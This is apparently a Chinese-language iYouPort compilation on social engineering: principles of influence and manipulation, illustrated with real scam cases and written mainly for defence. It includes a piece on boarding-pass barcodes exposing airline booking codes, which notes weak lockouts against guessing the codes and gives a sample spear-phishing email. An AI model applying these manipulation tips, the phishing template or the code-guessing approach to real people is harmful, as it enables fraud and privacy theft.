但总会有那么一个时期，你没有获得任何进展，内心开始产生挫败感，觉得必须做点什么才能对得起对方组织的看重。这时你会不得不开始真正反思你的选择和动机，因为此时使用操控手段的诱惑力是非常大的。

不过通常，只需要你将目标组织的利益而不是你的个人利益放在首要位置，就能作出明智的选择。

「图」

「图」

操纵：来者不善

操纵更有效也更容易。恶意攻击者只想要获胜而不在乎受害者，也不关心什么教育效果。但渗透测试人员不会使用操控，不仅仅是法律问

题，还有，操控在专业环境下更具破坏性而非实用性，使用操控也不是长久之计。

因为在经历操控后人们不可能再次听从你的请求。这一结果可能是可以接受的或者求之不得的，这取决于你的工作和具体目标。但是在社区协作的世界里，这肯定不是个理想选择，因为你需要寻求的长期合作关系。

欺骗：不总是坏事

下图是影响和操纵的图解及其间的灰色地带，位于浅色区域的是影响，深色区域的是操控。你能看到中间一个最醒目的位置就是：欺骗。

「图」

「图」

绝大多数人对欺骗的看法都是负面的，毕竟，如果有人对你喊“你是个骗子”，他绝对不是在恭维你。

虽然人们总是想要机械性地将其与道德伦理联系起来，但在安全协作方面这是有问题的。问题的性质并不取决于你是否把欺骗用于社交工程协议的一部分；但你肯定会在或多或少使用一些欺骗。

这个问题的性质取决于意图和动机。

如果你的孩子已经吃了三颗糖果两个曲奇，这时候你把小蛋糕藏起来并骗他说“没有任何点心了”，这是出于对孩子健康的关爱。当然你藏起来的蛋糕可以自己独吞，如果这么想就太自私了。请注意，在此你的行为和导致的结果是相同的，⚠但是由于动机不同，你的孩子在发现真相后的感受是截然不同的。

撒谎的名声并不好，但无疑我们都在这么做，或多或少；想想看如果你完全坦诚地说出你的见解 …… 你的人际关系会变成什么样？真相很伤人的。

人类和其他物种似乎有着天生的欺骗倾向。有很多有趣的研究表明，婴儿在没有语言表达能力之前就有欺骗的能力，他们会假哭以赢得监护人的关心。

虽然这不是什么复杂的把戏，但足见我们从小就开始寻求机会参与到社交活动中。欺骗是一种社交行为的适应性形式，没必要总是把它想的那么负面。

惩罚与操控

上图中另一个显要的例子是惩罚。

在行为心理学中惩罚被定义为会降低某个行动在此发生的概率的某种后果。这里要说的是成年人之间具有某种操控效力的惩罚。

在社交工程学中，惩罚是成年人之间的互相作用，其目的是提供负面的结果来迫使目标采取你所期望的行为。

表面的目标和实际的目标之间还是有区别的。⚠惩罚的有趣之处在于它是一种针对某人的直接行为，但是其效果常常是控制并决定另一个人的行为。

通过惩罚来改变某个成年人的行为是完全可能的，但这并不是高明的暗中操纵，它只是简单的、能产生某个后果的行为。

通过惩罚实施的操控可以像催化剂一样激发人们的行动；或者通过引发其他强烈情绪来迫使人们采取行动，如下图所示。

⚠当惩罚在公共场合实施时，惩罚者就创造了一群目击者正在等待结果的感觉。根据每个人各自不同的情况，他们可能会表现出愤怒、恐惧或者同情等情绪。

「图」

「图」

无疑会有人漠视或者回避惩罚。但是如果惩罚足够严重，还是会得到回应的。而这正是一个恶意攻击者所寻求和试图控制的东西。

想想看，你走出写字楼，看到一个凶巴巴的保安在对一个哭泣的女人大喊大叫，保安走后那女人向你求助，说老板要解雇她，因为她忘带胸牌了，她需要去这栋大楼的行政处补办理胸牌，看她这么可怜，你愿意帮她吗？

由于你看到了刚才惩罚的那一幕 —— 它刺激了你的正义之心和英雄救美的热情 —— 面对一个满脸泪水的姑娘，你忍心一言不发地走开

吗？很多人是这样中计的，他们带着女人通过了安检。一个狡猾的社交工程师就这么大模大样地进入了目标内部。这就是操控。

影响的原则

如上，已经对影响和操控的区别有了初步了解。现在是时候花点时间来深入理解影响了，来看看如何以及为何其中一些因素能够奏效。

如下图所示，为影响的原则提供了一些概览。基于各种研究成果和从社交工程学实践中总结的经验，来运用这些原则。

「图」

「图」

下面举一些 ⚠你应该注意的方面：

声明：由于人类的行为并不总是循规蹈矩的，上述这些原则中很多都是共同起作用，在例子中你可以看到它们之间的互相影响。

有些例子适用于多方面的影响。

由于这些例子来源于现实世界，它们中的许多可以阐释这些原则是如何被用来实施操控的 —— 想象影响和操控之间的大片灰色区域？

“专业建议”的目的是为你提供对这些原则更深刻的理解和更灵活的运用，不论是为所在组织和社区提供安全服务、还是为了防御攻击，甚或，您拥有确定为正义的目标比如 OSINT 深度调查，那么这些知识对你而言就十分重要。如我们早前所解释的，传统 OSINT 技术正在失效，这源于隐私保护方案的普及成果，于是下一步的方案中需要您熟悉社交工程技术，是为辅助，详细解释见《开源情报的黄金时代就快结束了吗？下一步是什么？》

下面分别说说。

1、互惠

互惠是一种普遍的信念，人们应该根据其所作所为得到相应的回报。善有善报、以眼还眼这类古老的词汇都在描述互惠的方式。

这一概念谁如此的强大，以至于研究人士认为它是每一种影响的基础 —— 中国的“双赢”论并不是什么天使之善。[Allan R. Cohen and

David L. Bradford, “The Influence Model: Using Reciprocity and Exchange to Get What You Need,” November 11, 2005]

有一个关于这一原则的真实例子，也就是提供退款以获取个人真实信息的骗局。⚠这里的关键是恶意攻击者使目标觉得自己*先*得到了某样东西，因为目标觉得收到了某种礼物，所以他就会认为*有必要提供点什么作为回报* —— 这里提供的就是他的真实个人信息，也就是攻击者最需要的东西。[在这里看到这个案例：Chris Morran, “That Guy on the Phone Offering a Tech Support Refund Is Probably a Scammer,” The Consumerist website, January 3, 2014]

专业建议：尽管互惠原则是建立在“礼物“的基础上的，但是礼物不一定必需是实物 —— 它甚至可以是一个微笑、一种可清楚被感知的同情、倾听和怜悯，甚至只是看似随意对给别人开一下门。它只要对接受者来说足够宝贵，就可以产生足以对其施加影响的力量。（你给一个高傲的女神开门不会有什么作用，如果你给一个才刚被失恋打击得孤苦伶仃的人开门、甚至只是一个怜爱的眼神，对方就能对你投注信任）

我们听说有些异议人士评价“国宝很和气”，或者“逢年过节带礼品上门”，甚至有些异议人士由此认为“国宝可以被反洗脑”……这是非常可怕的想法。他们的和气和礼物是社交工程的一部分，目的是刺激你的互惠心理，以提供他们想要的东西 —— 即 减轻防范说真话。

⚠请随时记得，你的对手曾经经过过长久的专业级培训，而正在阅读我们的文章的您才刚开始接触这种东西；在社交工程层面，您和您的对手绝对不在同一个重量级上。您现在需要做的第一步是尽可能防止吃亏，下一步才是反守为攻。

2、义务

互惠是建立在礼物基础上的；义务则是通过传统、礼仪、个人感受和社会角色来施加影响。比如在拥挤的路上前面的车子给你让路，你就会感觉出于礼貌自己有*挥手致谢的义务*。

一个真实的、利用人们的义务感的例子就是可怕的祖父母骗局。骗子假装成陷入麻烦的孙子或孙女，在通常情况下打电话者会要求保密，并声称需要钱出狱。这是最简单级别的社交工程攻击，攻击者会事先对他们的目标进行一系列的研究，得知到一些比较私密的信息，比如家庭中使用的昵称等等。骗子利用这些可怜人的社会角色和感受，他们觉得自己*有义务*保护自己亲爱的晚辈……在这里看到案例介绍

[Melanie Hicken, “‘ Grandparent Scams’ Steal Thousands from Seniors,” CNN Money website, May 22, 2013]

专业建议：你如何在不认识的人身上创造一种义务感？用一些与他们的身份相关的东西怎么样？他们为人父母吗？他们自以为喜欢助人为乐吗？在你辨识过这些之后，可以利用这些信息来制造一个需求帮你达成目的；或者，⚠以一种符合目标对自我的认知的方式行事。

3、妥协

你曾经和重要的人吵架并陷入僵局吗？结果可能是一整天冷冰冰的眼神和生硬的对话。你可以通过什么方式确认自己已经胜利？（当你女朋友走到沙发前犹豫着说“陪我逛逛街吧”的时候，你应该知道你已经赢了）。⚠妥协是一个人让步的时候。这通常表示主动权已经交到另一个手中了。

这一点很重要。因为妥协会把目标置于困境当中。

人性如此，⚠有过一次让步之后就会有更多的让步，这被称为“登门槛法/或得寸进尺”。想想那些试图通过分发传单来卖东西的人，传单内容并不重要，他们知道只要你拿到了传单就至少能停留一下。

上述祖父母骗局也可以当成一种妥协的例子。在一个案例中，一位祖母被骗走了两万美元，但不是一次性骗走的；受害者妥协一次交出钱后骗子就继续要更多的钱，而这位祖母就继续妥协下去……[Kathy Tomlinson, “Senior Loses $ 20, 000 to Scammer Posing as Grandson,” CBC News website, March 20, 2012]

专业建议：⚠专业的社交工程人员有时候会通过主动成为让步的那个人，来引导这一互相作用的过程。通过这种行动，社交工程人员暗示权利被“让步”给了目标，尽管妥协实际上可能很微小或者根本毫无意义，但是目标接收到的信号是妥协本身。这种做法最常见的比如汽车销售员。当然，肯定，如所有方法一样它可以为了更大更危险的目的。

4、稀缺

当资源有限或削减时，就会变得更有价值，这是众所周知的。路边的“最后一批甩卖”等牌牌只是对这个把戏最土的用法。

专业建议：就像互惠一样，稀缺或缩减的资源不一定必须是实体的。你曾经试过约见某个重要人物吗？他只能在下午一点二十的时候留十

分钟给你？其实对方有可能并没那么忙，⚠他故意在会面前抬高自己的身价，传输紧迫感给你 —— 以影响你的行为。

5、权威

权威是指拥有决策的权利。这种权利可能来源于法律或者其他合法途径，也有可能基于个人魅力或其他信誉而建立。这是一种特别能唬人的东西。更多分析详见 **IYP** 曾经解释的《"操纵式宣传：5个过滤器和识别线索"》

我们每个人的成长都伴随着权威和反权威的过程。成年后的人会倾向于自动回应具有权威的人或者权威的符号。如果有一个带着安全帽红袖章穿着安全背心的人站在马路上向你招手，你肯定会遵循他的指示，其实你根本不知道他是谁。

举一个比较极端的例子来说明这一原则的使用。一家快餐店的老板某天接到了一位自称是执法机构的人打来的电话，对方称其员工涉嫌盗窃和贩毒。该老板遵照了对方的指示，将那名员工锁在屋子里，然后对他进行搜查，还用其他方式侮辱这名员工。其实打电话的那个人只是与那名员工有私仇。

还有一个有趣的例子。一名女士，假扮华夫饼屋的经理，大模大样地走进去检查工作，还郑重其事地拿走了收银机里的钱。她只是简单地装作自己属于这里。整个过程中没有任何恐吓，没有任何武器。钱就被拿走了。[Mike Morris, “Police: Woman Posing as an Area Manager Steals Cash from SE Atlanta Waffle House,” AJC. com, February 26, 2014]

专业建议：你并不需要佩戴徽章以彰显权威。⚠你的言谈举止、穿着打扮、写作风格和身体语言，包括邮件里的一个签名，都能传达这样一个消息 —— 你知道你在说什么，你传达的指令应该被遵守。如果作为一名社交工程人员，你觉得自己的年龄、音调等特征亲自展现权威比较困难，那么就请有意识地注意自己正在展现什么，做你力所能及的一切，并注意渲染那些能让目标人相信你的理由。

「图」

「图」

6、一致性和承诺

一致性和承诺涉及这样一个概念，即 ⚠当人们已经做出某种行为后，

他的后续行为就会倾向于与先前行为保持一致。

正如你所推测的，这一点与让步原则往往紧密相关。在一个人让步之后，一致性和承诺就会迫使此人继续让步。反过来想，你会如何看待一个想法总是变来变去的人？对吧，没人喜欢那种人。

一个好玩的例子。一位女士被一家基督徒交友网站骗了。有趣的是，受害者和犯罪者都证明了一致性和承诺的需求。这位受害者也像其他受害者一样为求婚的对象花掉了所有钱，以表达自己的承诺；而犯罪者也表现得像一个忠贞的爱人那样，几乎每天都给她发邮件描绘美好的未来。[Rheana Murray, “Online Dating Nightmare: Widow Robbed of $ 500K by Scamming Internet Companion,” Daily News website, November 8, 2011]

专业建议：⚠在人们答应一个请求之后他们就很有可能继续答应下一个。经验丰富的社交工程人员能够在完全和谐的气氛下—丝毫没有古怪和冒犯的同时—逐渐提高要求。在著名社会心理学专家 Stanley Milgram 博士60年代的经典实验中，这一概念得到了令人惊讶的体现，在这里看到 [S. Milgram, “Behavioral Study of Obedience,” Journal of Abnormal and Social Psychology 67(1963): 371–8.]

⚠这招特别损，并不是看起来那么简单，你我都有可能上当。如果您不信，可以去问问 Don Evans，他曾经遭遇过这种诈骗。骗子叫张猛，前香港阳光时务主编，以“追求独立媒体新闻自由”为幌子到处骗钱，骗到了 Evans 身上，并且还陆续成功骗了五次。**Evans** 上当的原因就是因为他对媒体独立事业的承诺和一致性，骗子利用他这一立场持续索取。顺便说，这个叫张猛的骗子还在继续欺骗，更多专门针对民主人士和反抗者 —— 而且，对于不同的目标人会采取不同的针对性攻击模式，大家小心。

尽管 Milgram 这项研究的目的是为了确认人们服从权威的程度，但它同样也是一个很好的对“逐步加强”这一概念的说明。

在 Milgram 的经典实验中，参与者被要求通过（假的）电击来“教”学习者记忆单词。每一次学习者犯错的时候，教师就要增加15伏电压，下图是参与者看到的面板 —— 电击是假的，但是参与者并不知道这点。

「图」

「图」

Milgram 实验的“电击”面板

想象一下，你处在那个教师的位置上，首先你同意了参与这一重要的研究活动；其次你同意了这项研究的各种条件。然后你就会遵循指示去做。

第一次你会发射15伏电击，尽管对于学习者来说并不太糟，但学习者继续犯错，使你不得不继续加电压。你逐渐感觉到心里不舒服。15伏和150伏有很大的差别，你该何时停止？如果你停下来了会影响实验吗？你愿意半途而废吗？……

话说回来，Milgram 研究的是人们对权威的服从，但你也能从中看到明确的一致性和承诺在个体身上施加了多少压力。

7、喜爱

你曾经遇到过一见面就感觉特别投缘的人吗？除了与这个人迅速建立融洽关系的能力之外，你认为你喜欢这个人的原因是什么？⚠必须想想这个问题，因为这是一个最常用的社交工程伎俩，我们分析过它，参见《警惕微妙的劝导术：一个能力排众议博取认同的“骗子”长啥样》。

我们倾向于喜欢那些喜欢我们的人；我们也确实会喜欢那些很“像”我们自己的人，比如参见这篇文章中的分析《警惕微妙的劝导术：虚假帮派—— 效力最强的宣传攻势》。广告商一直在使用这点：雇佣人们喜欢的人、并且想要去模仿的人，比如演员或明星。

我们对社交工程的诸多介绍会专注于危险防御，于是忽略诸如狡猾广告商和渣男渣女的小故事，事实上您应该知道这些伎俩可以用在任何地方。

举例子。恶意攻击者经常利用我们想要帮助喜欢的人的愿望。典型的“滞留旅客”钓鱼攻击生效的原因就是，骗子盗取了某人的邮箱，然后联系其朋友和父母假装受害人并声称需要钱。[Liz Phillips, “How I Got Caught Up in a ‘Stranded Traveller’ Phishing Scam,” The Guardian website, November 13, 2013]

光要钱是危害性最低的，攻击者可以利用这点要任何东西。

专业建议：因此，你应该如何让某人立刻喜欢你呢？专业的社交工程人员很擅长通过发展某种品质来建立融洽关系，如 积极的聆听、以及与语言相一致的非语言行动。另一个增加好感的简单方法就是，识别

出你和目标之间确实存在的相似之处，也就是我们在上述提及的“虚假帮派”招术，⚠这招特别毒，几乎很少有人能提防住。

8、社会认同

社会认同是我们的自然倾向，即 通过观察别人的行为来指导自己的行为。那些炒作所谓的热点的营销客就是在利用这种社会心理。

由于我们的社会性，社会认同是一种极为强大的影响原则。人们经常想的就是，“其他人都在这么做，那么这么做就是对的”。连我的小侄子也会中这个招。小侄子对滑板车并不感兴趣，而卖滑板车的人告诉他：“你看公园里的其他孩子每人都有一辆，因为买下这辆滑板车是证明你妈妈爱你的最佳方式”。其实花园里几百个孩子里只有两个孩子在玩滑板车。

⚠如今这个时代，社会认同伎俩是被骗子使用最频繁的手段之一，当我们所有人都在社交媒体上的时候，这种人性漏洞就是一个强大的问题。还记得 Facebook 的“十年挑战”在如何利用这点骗取你的脸部数据吗？在这里看到分析《“十年”的阴谋》。类似状况在互联网上几乎比比皆是，911后就有骗子迅速利用人们的悲怆之情制造假的捐赠网站，发了一大笔。[Matt Liebowitz, “Tips to Avoid Japanese Earthquake Phishing Scams,” NBCNEWS. com, March 11, 2011]

专业建议：社交工程人员通常都会制造这种社会认同的假象来鼓励某些行动。其他人完成的调查和请愿便使得你更愿意提供自己的个人信息。

记得吗，IYP 一直在强调切勿参与网上流行的任何心理学测试小游戏，⚠其中有一种游戏就是要求参与者必须“转发到朋友圈才能看到解释答案”，它利用的就是这种效应。不论在网络上还是现实中都是如此，只要有几个人站在街头“讨论”，过往的人就会停下来看一眼或听一会儿。不信你试试？

「图」

「图」

——更多与影响有关的乐子——

影响利用最多的是人类的天性，但是也有其他因素在起作用。

社会性和影响 ——

在这个世界上，社会性和影响有什么关联呢？

事实上两者在几乎所有方面都有关联。现代科学的发展使得不论是强壮还是瘦弱的人都能存活；而在现代科学出现之前，人们依赖他人的庇护和安慰来抵御外界的威胁。除了少数著名的例子之外，离群索居的人基本都……死了，和他的基因一起消失了。古代最严厉的惩罚就是流放。

这就是为什么对一个人所处的社会环境敏感并非只是因为挑剔，还有寻求生存和繁衍的最佳时机的因素。

这已经变成了我们的天性的一部分。我们天生就会对明显的或微妙的群体需求有所反应。因此，不要责备那些躲避同辈压力的孩子们，或者那些盲目从众的人，你要明白他们只是在跟随自己的生存本能。

专业建议：现代社会中，⚠社交工程人员会使用他们所掌握的关于社会性的一切知识，模拟出群体压力下的环境。即使是“独狼”也会在某种程度上感到社会压力，依环境和附近的人而定。

社交工程人员经常会制造一种场景以造成某种紧张、担忧的情绪，或者促使人们采取行动 —— ⚠警方和当局对活动家群体的渗透中经常使用这样的方法；还有许多其他伎俩，我们在将来会详细解释。

最优秀的社交工程人员可以很自然地做到这点，你根本无法察觉到。

所以，对于防御来说，您应该提醒自己在做出最大决策之前先停下来想想是什么在指导自己采取这样的决策。

生理反应 ——

我们在上一篇文章中讨论了杏仁核的趣事，详见《我是如何上当受骗的》。当大脑受到刺激时人体内也随即发生了一连串有趣的事。尽管把大脑反应和生理反应分开来说并不合适，但这样说更容易理解。

如果人体受到威胁，那么杏仁核就会开始进行一系列活动来保护人体。无论这种威胁是一条鲨鱼还是一封邮件警告你有可能患有癌症，你的身体都会出现同样的反应。

神经系统会自动向体内传输应激激素，这会导致你心跳加速、血压升高、瞳孔扩大、血液流向主要的肌肉群。这些生理反应是为身体做好

准备，最重要的是为了最佳表现（包括认知上的表现）而处于最佳状态。

专业建议：这一事实表明，⚠如果社交工程人员能够影响和控制目标所受压力的大小，那么他们就可以进而影响目标决策的质量。

心理反应 ——

施加影响会产生什么样的心理反应呢？其中一个值得提的例子是我们的非语言行为对其他人产生的重大影响。

有一种绝对会迅速激怒你的办法，那就是，采取与话语完全不相符的面部表情和肢体语言。比如，我在强调说隐私权的重要性，它事关基本人性和民主是否能持续下去的问题，然而，此刻我端着可乐、翘着二郎腿，一副爱谁谁的样子……作为听者的您会不会想给我一拳？

很简单，你也完全可以反过来使用它，⚠通过有意识地控制非语言信号来控制人们的反应。研究显示，“愤怒的脸”这一普遍表情已经演变为一种面部指标，可以显示出一个人的强壮和破坏力。[Andrea Estrada, “The Universal ‘Anger Face’ : Each Element Makes You Look Physically Stronger and More Formidable,” ScienceDaily website, August 28, 2014]

这种恐吓的表情源于本能，就连从未见过这种表情的盲人孩子也能做到。研究人士相信我们进化出的表情是为了有效地进行讨价还价。不论何种文化中，愤怒脸都传达出一种强有力的感觉。

⚠社交工程人员即使不直接接触目标，也仍然有办法影响他们的反应。

Langer 博士做过一项有趣的研究，他让参与者试着在复印机上划一条线，研究发现，如果参与者提供了某种理由，即便这个理由毫无意义，比如：“因为我想要复印，所以我可以划一条线吗？”，这种情况下参与者就会更容易成功地在复印机上划线。

简单说，⚠只要提出请求时提供了一个理由 —— 不论多扯蛋的理由 —— 都会能增加成功的概率。

关于心理反应的最后一点是：有很多其他因素影响着人们对你的反应，但请记住，大多数时候社交工程人员都是在寻求帮助。

帮助行为是一个非常庞大且复杂的话题，但是有些部分显而易见。大

多数人在考虑是否要帮忙时，都能清除地权衡风险和麻烦。一般来说人们更可能帮助女性和孩子，也更可能在心情好的时候帮忙。最后，当周围有人时，人们可能不怎么愿意帮忙（除非有人先跳出来帮忙——社会认同原则，不是吗？）

专业建议：⚠人们所处的状况显然可以被用来施加影响。理解特定行为的效果可以使社交工程人员控制自己的行为，从而创造条件让目标说“好的”。

「图」

「图」

—— 关于操控你需要知道的几件事 ——

操控绝对是危险的。下面概览一下最常见的手段（图片是总结）：

- 增加易感性：恶意社交工程人员会使用一切手段增加人们对于建议和错误决策的易感性。之前你读到了对强烈情绪甚至生理反应的激发都是让逻辑思维短路的重要方法。
- 环境控制：恶意攻击者进入受害者的生活圈子后通常都会这么做。无论在网络上还是现实世界中，都可以找到很多这样的例子。
- 强制重新评价：攻击者会让目标对自己所知道的和学到的东西产生怀疑。这一手段通常和其他方法一起使用，例如威胁和恐吓。
- 权利剥夺：通常和权力滥用相伴，攻击者会让目标觉得除了服从之外没有其他选择。
- 惩罚：这是负面结果的直接运用，会让那些目睹而非经历负面结果的人感到害怕。
- 恐吓：惩罚是利用负面结果，恐吓则是利用惩罚来威胁。

「图」

「图」

—— 总结 ——

社交工程的核心是有意识地引导另一个人做决定。根据你的意愿，这些行为可好可坏。本文希望您能了解：

- 如何辨认影响和操控之间的区别；
- 理解影响的原则都有哪些、它们各自有什么用；
- 理解影响的效果来自人的社会天性、生理因素和心理因素共同决定的；
- 理解基本的控制手段，并且在有人向你实施操控时能够及时识别出来。

您现在应该已经具备了足够的防钓鱼攻击基础知识，能够理解攻击之所以有效的原因。后面的文章我们将介绍如何运用这些知识保护自己。下次见。〇

广告

原文

挡不住的秘密就在你不知不觉中被暴露：社交工程学攻击实践继续 - iYouPort

社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

> 你有没想过一张小小的登机牌会说出什么？我指的不是诸如“嘿看着我，我在阿联酋航空商务舱飞行”……它能说出的东西远比你想象中要多得多。今天我们会展示利用一个小小的观察，就有可能造成严重后果的攻击实践。那些晒晒晒和马大哈的朋友们，小心咯

「图」

最近的假期我计划去哥本哈根旅行。玩的很不错，但可悲的是，我的回程，由于赶上了长时间暴风雨，不得不经历了一次神话般的 26 小时体验。我的航班严重延误，然后花了将近 3 个小时等待飞机的停稳在一个地方。简直糟透了，我已经读完了所有带字儿的东西，我的 iPad 也没电了，我得给自己找点乐子打发时间。

在试着把我的登机牌搞成一架纸飞机时，我注意到它上面有条形码。所以我用手机的条形码阅读器扫描了它。我感到震惊的是，弹出的数据包括我的全名、出生日期、航班号、来自哪里和目的地是哪里、座位号，以及被称为 **PNR** 记录定位器代码的内容。

什么是 **PNR**？

PNR 代表“乘客姓名记录”。这是每次预订航班时生成的数据丰富的记录。它存储在航空公司计算机预订系统的数据库中，并由记录定位器代码访问。此记录定位器代码是一个 6 个字符的字母数字代码，例如：RMT33W（这是我的登机牌条形码中包含的内容）。在您在线办理登机手续或通过航空公司网站管理您的预订之前就是使用此代码。它也可以称为预订参考号。

那么这个 **PNR** 包含什么？

通常，它将包含您和您的旅行相关的任何其他信息，如下：

- 全名和出生日期;
- 护照号码和细节;
- 通过航空公司进行的任何汽车租赁或酒店预订的详细信息;
- 电子邮件地址和电话号码;
- 所用支付卡的最后 4 位数字以及支付机票人的详细信息;
- SSR（特殊服务请求）这可能是特殊膳食要求和原因（宗教，乳糖不耐症等）。SSR 还将详细说明您声明过的任何慢性病、残疾问题或医疗历史;
- OSI（可选服务指令）升级选项，语言，行李等……

是的，很多信息！

大部分信息可通过航空公司网站上的“管理我的预订“访问，并且可能位于“乘客信息”部分。

你觉得这东西一定会被人们非常小心地保护吧？完全错了！不信的话让我们来搜索一下。

仅仅 **Instagram**：找到 **100,000** 张登机牌！

在航空公司的网站上登录并管理您的预订，您需要一个姓氏和这个 6 位数的代码。我意识到我可以在“办理登机手续”或“管理我的预订”标签下登录任何航空公司的网站，我只需要你的姓氏和这个 6 位数。记录定位器代码。

那么，我在哪里可以找到这个？Instagram 看起来是一个很好的起点。我搜索了#boardingpass，发现了超过 100,000 个结果！

「图」

可笑的是，大多数人都试图让自己看起来很“聪明”，用手或护照盖上登机牌上的名字。这是一个毫无意义的方法啊，因为他们让条形码清晰可见了。快速扫描条形码，它立即显示了最重要的姓氏和 **6** 位数代码。

一些航空公司确实试图通过从您上次航班降落后使登录详细信息变得多余来减轻这种风险，虽然从长远来看可以降低风险，但是，如果您预订了 2 周的假期 — — 并在 Instagram 上晒了自己的登机牌，那么，社交工程师们就有足足两周的时间可以登录并获取所有信息。

鱼叉式网络钓鱼攻击变得非常简单

现在，我真正“做”的只是将一个毫无戒心的旅行者的座位移到厕所旁边，或者就在舱壁前面。我不会支付任何费用甚至取消预订。

这对我来说无关紧要，因为 FAR 更有趣的是乘客信息部分中包含了所有个人信息和可能的敏感信息。我可以得到你的全名、出生日期、电子邮件地址和电话号码。我还可以看到是你的雇主帮你预订了机票，你和你的助手一起旅行，你的 SSR 说你携带了一支 epi 笔，你因为宗教信仰原因不能吃含有某些肉的机上餐。因此，所有这些信息都可以被恶意使用。

想象一下，你是一个攻击者。你知道我刚从伦敦希思罗机场乘坐英国航空公司飞往曼谷。你知道我的回程航班是 2 周，我用的是经济舱，在出境航班上我要求吃素食。这就够了。现在你可以开始伪装成英国航空公司，给我发送恶意钓鱼邮件，这样写：

> “如果您的返程航班也需要素食餐，请点击此链接立即订购，除非您返回伦敦希思罗机场的航班相应服务已被订满。作为我们的重要客户，我们希望将您升级为商务舱，请点击以下链接接受优惠“。

随着你现在拥有的准确信息量，我很可能会相信实际上是英国航空公司在与我联系。老实说，如果换做是你，会不会点击那个链接？

「图」

托运行李

我还在飞机上等着，开始反思自己的旅行经历。这十年来我飞了太多次。我有时会把我的登机牌扔到家里，或酒店的垃圾箱里，有时我只是随便把它放在飞机上。到目前为止，我承认，我从未彻底切碎过它。这太危险了。

最后他们让我们下飞机。当我走过行李区时，我注意到，所有航空公司的行李标签上都有条形码。我之前没有注意到这点。我再次回到 Instagram 上寻找 #luggagetags 及其变体或者缩写。这些条形码也具有与其中包含的登机牌条形码相同的信息。我忽然意识到自己从来没有安全地丢弃掉这些行李牌！

“猜测”代码

当我终于回到家时，我认为作为乘客，显然需要像对待自己的护照那样谨慎对待我们的登机牌和行李牌，但还有一个问题。代码本身不是

很安全。

我必需要在 Instagram 上才能找到你的 6 位数代码吗？我能不能猜到它呢？

尝试“猜测”密码或代码的一个大问题就是，网站上的锁定。毫无疑问，你会看到这样的东西，由于你输错密码太多次，你被迫等待15分钟才能重新尝试。一个 6 位数的字母数字代码（这些字母都不区分大小写）这意味着是一个非常弱的密码，并且通过使用体面的计算机消除过程来“猜测”也不是非常花时间的。所以我去了 12 个航空公司网站，发现了以下结果：

- 没有明显的停工。我的电脑可以一次次接连不断地“猜测”代码，而没有哪个航空公司的网站告诉我在15分钟后再回来；
- 有些航空公司实际上更离谱，在您输入代码的字段旁边有一个链接，点击它，航空公司给攻击者提供了有用的建议，例如“所有字母都是大写”；或“我们不使用 6 位数代码中的数字 1 和 0”、或在一个案例中，“代码是字母、数字、数字、然后 3 个字母“……简直太完美了 😷

「图」

这一切意味着“猜测”6位数代码非常容易。所有人都需要的是您的姓氏以及您乘坐的航空公司的名称。你曾经在社交媒体上发布过这些信息吗？检讨一下。

公平地说，一些航空公司比其他航空公司做得更好些。有的甚至鼓励乘客设置双重身份验证，因此您必须输入短信发送给智能手机的代码，这会让攻击变得有点难度。

我们可以做些什么来降低这种风险？

- 不要在线发布登机牌或行李牌的照片；
- 尽量避免在任何社交媒体帖子中发布您搭乘哪家航空公司的班机，如果我不知道您使用的是哪家航空公司，则需要花费更长的时间和更多的努力尝试在每个航空公司的网站上查找该航线；
- 安全地彻底地销毁您的登机牌和行李牌！理想情况下使用十字切碎机。或者把它们带在身上，直到你回到家，你可以安全地处理它们，当然不要把它们留在飞机的座位上！
- 在预订航班时，只向航空公司提供其标记为*必不可少*的信

息。如果未标记为必填字段，则将其留空。从根本上减少他们持有的个人信息量。

本文强调了对如何存储和存档所有 PNR 信息的担忧。欧盟要求存档的 PNR 记录是匿名的，但很多研究人员对此的执行有效性深表怀疑。

我联系了看过的所有 12 家航空公司，向他们通报了系统中的缺陷，并强调可能会向乘客发出的攻击，告知他们在线发布登机牌信息存在潜在的安全风险。结果只有3家回复，只有1家说他们希望修复这个漏洞。另外两家甚至说这不是一个安全问题，因为“你还需要找到乘客的姓氏……”。也许他们完全忘了从社交媒体上获取这些信息是多么容易！■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

摆脱操纵和宣传：28个长期技巧 - iyouport

战略性欺骗-识别和抵制社交工程-反操纵、反欺骗社交工程-反操纵、反欺骗的副本

【2019年12月18日存档】关于，如何活得像个人，而不是木偶

自从人类发明语言开始，就同时发明了欺骗和操纵。这一切都不是新鲜事。

事实上你完全可以很巧妙地将一系列象征性的声音编织在一起，以便从其他人身上获取恩惠、让步、投票和同意 —— 就是这么简单，这使得操纵变得如此普遍，以至于它现在已经从上到下渗透到全人类社会的每一个角落，从两人之间的个人关系、到政府机构与公众之间的政治关系、再到不同政权之间的国际关系，欺骗无处不在。

这使人们很难弄清楚在自己的生活中和世界上都发生了什么。

欺骗和操纵并非您想象中那么容易识别，正相反它们很难被发现，它们的目标正是旨在让所有人认为那些被灌输的想法来自本心。

我们介绍过一些识别和摆脱欺骗操纵的方法，在这里回顾至少两个完整系列：

- 《媒体操控：战略性欺骗的重头戏》
- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》
- 《“让数据说话”只是个唬人的幌子：识破谎言（1）》

- 《数轴有鬼：用数据可视化撒谎很简单（2）》
- 《恶搞统计数据：小心媒体用统计忽悠人（3）》
- 《看起来专业不意味着正确：反知识的迷惑性（4）》
- 《编造概率和编造风险：欺骗者如何利用你的思维漏洞（5）》
- 《神通广大的贝叶斯思维：如何知道自己不知道什么（6）》

以上是具体化的；以下则是一些简单的技巧，以导航这个复杂的操纵景观。

无论是您在小规模的个人互动中遇到的操纵、还是迷失在影响整个世界的大规模操纵中，这些方案都以利于您找到出路。

您需要在日常有意识地这样去做，才能真的走出 Matrix。

1、了解人类是擅长讲故事的动物的事实，能控制故事的人就能控制所有听众的大脑和心。

心理叙事主导人类意识；思想本质上是关于自我及其在世界中正在发生的事的一个连续的、动态的独白，而这个独白完全由精神故事组成。

⚠这些故事可以并一直在被我们遇到的任何人尤其是那些熟练的宣传者，大规模地在个人范围内操纵。

